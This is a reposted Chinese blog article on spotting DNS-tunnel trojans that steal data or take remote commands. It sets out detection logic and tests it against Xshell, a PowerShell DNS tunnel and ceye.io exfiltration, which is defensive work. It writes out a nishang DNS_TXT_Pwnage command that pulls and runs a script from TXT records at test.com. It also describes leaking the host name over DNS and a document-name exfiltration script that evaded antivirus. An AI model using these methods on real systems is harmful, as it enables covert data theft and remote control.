摘自:http://www.freebuf.com/articles/network/149328.html
通过以上分析得出监控需要关注的几个要素:长域名、频率、txt类型、终端是否对解析ip发起访问、是否有全域名注册记录,推导检测逻辑如下:
方向1:特征检测:
检测窃密木马(无需更新和接收指令): 【域名超长 or 频率高】 and 【终端无进程对返回的A记录(如有)发起访问】 and 【不存在全域名注册记录】
检测远控木马(需更新和接收指令): 【域名超长 or 频率高】 and 【终端无进程对返回的A记录(如有)发起访问】 and 【不存在全域名注册记录】 and 【存在txt回包】
通用检测(可发现单次外传,存在浏览器预解析等误报,需结合其他特征确认):
{【存在txt回包】and 【不存在全域名注册记录】} or {【终端无进程对返回的A记录(如有)发起访问】 and 【不存在全域名注册记录】}
方向2:基于外传量检测,发现正在进行的大量数据泄露(不分析细节,仅供参考,本次实验不涉及):
单台机器检测: 域名长度(3+N级的域名) * 域名数量(相同只计算一个) > 单台机器阈值,评测外传数据大小,达到阈值则触发报警
*检测: A机器域名长度(3+N级的域名)* A机器域名数量(相同只计算一个) + B +… > 多台机器阈值,评测外传数据大小,达到阈值则触发报警
实验验证分析:
为验证此方案的逻辑正确性,笔者实验如下:
Xshell实验验证:
1、直接运行xshell,触发dns行为
2、外传结果抓包:
3、检测逻辑匹配分析:
a) 外传域名超长
b) 频率较高
c) 类型为TXT,有回包
d) 无A记录解析结果,也就无程序对结果发起访问
e) 不存在全域名注册记录(黑客根据算法提前注册了部分域名,但全域名无注册信息)
结论:窃密木马+远控木马
Powershell dns实验验证:
1、利用powershell构造dns隧道
a) 编写一个最简单的一句话脚本,获取服务列表
b) 使用nishang的Out-NnsTxt将脚本GetServiceToTxt.ps1转换为txt记录
c) 在dns服务器建立对应txt记录(后续执行需按照1,2,3,4的顺序,所以建立记录名为1)
验证结果,ok
d) 使用nishang的DNS_TXT_Pwnage读取txt并执行(脚本自动在test.com前加1,向1.test.com请求txt记录作为脚本执行。不过笔者最终也没搞懂stopstring这个参数的原理,懂的朋友麻烦私信下,谢谢! ),可正常获取服务列表。
命令和结果如下:
DNS_TXT_Pwnage -startdomainstartflag.test.com -cmdstring nostart -commanddomain txt1.test.com -psstring startflag -psdomain test.com -Subdomains 1 -stopstring stopflag
2、外传结果抓包:
使用Microsoft Network Monitor抓包分析
3、检测逻辑匹配分析:
a) 因实验未将结果外传,所以域名长度不大,如dns隧道外传则必使用长域名
b) 因实验未将结果外传,所以频率不高,且只获取远端的get-server功能,频率也不高,但要实现外传和获取更多功能(如mimikatz等),则必然需要高频率
c) 类型为TXT,有回包
d) 无A记录解析结果,也就无程序对结果发起访问
e) 此实验场景未覆盖外传数据,所以不涉及注册问题
结论:远控木马(实验功能较单一,扩展为大马则可精确覆盖检测特征)
利用ceye.io的外传实验验证
1、 少量信息窃取和大量信息窃取
a) 单次少量信息窃取外传,简单利用windows命令(ping、nslookup等)即可窃取机器名
b) 多次大量信息窃取,编写脚本,搜索文档(word、excel、ppt),并外传文件名(此脚本360 未报警),vbs脚本内容如下 (代码未充分验证,不保证无错误,中文支持或读文件内容请自行修改):
2、外传结果展示:
a) 单次少量信息窃取外传
b) 多次大量信息窃取
3、检测逻辑匹配分析:
a) 利用A记录外传,非txt回包,长度不超长(实验原因,未充分利用域名长度),但频率较高,解析过程未发现异常(但此截图为8.8.8.8,非系统dns存在一定风险)
b) 对解析A记录结果无后续访问
c) 不存在全域名注册记录
结论:窃取数据木马
本文转自张昺华-sky博客园博客,原文链接:http://www.cnblogs.com/bonelee/p/7651606.html,如需转载请自行联系原作者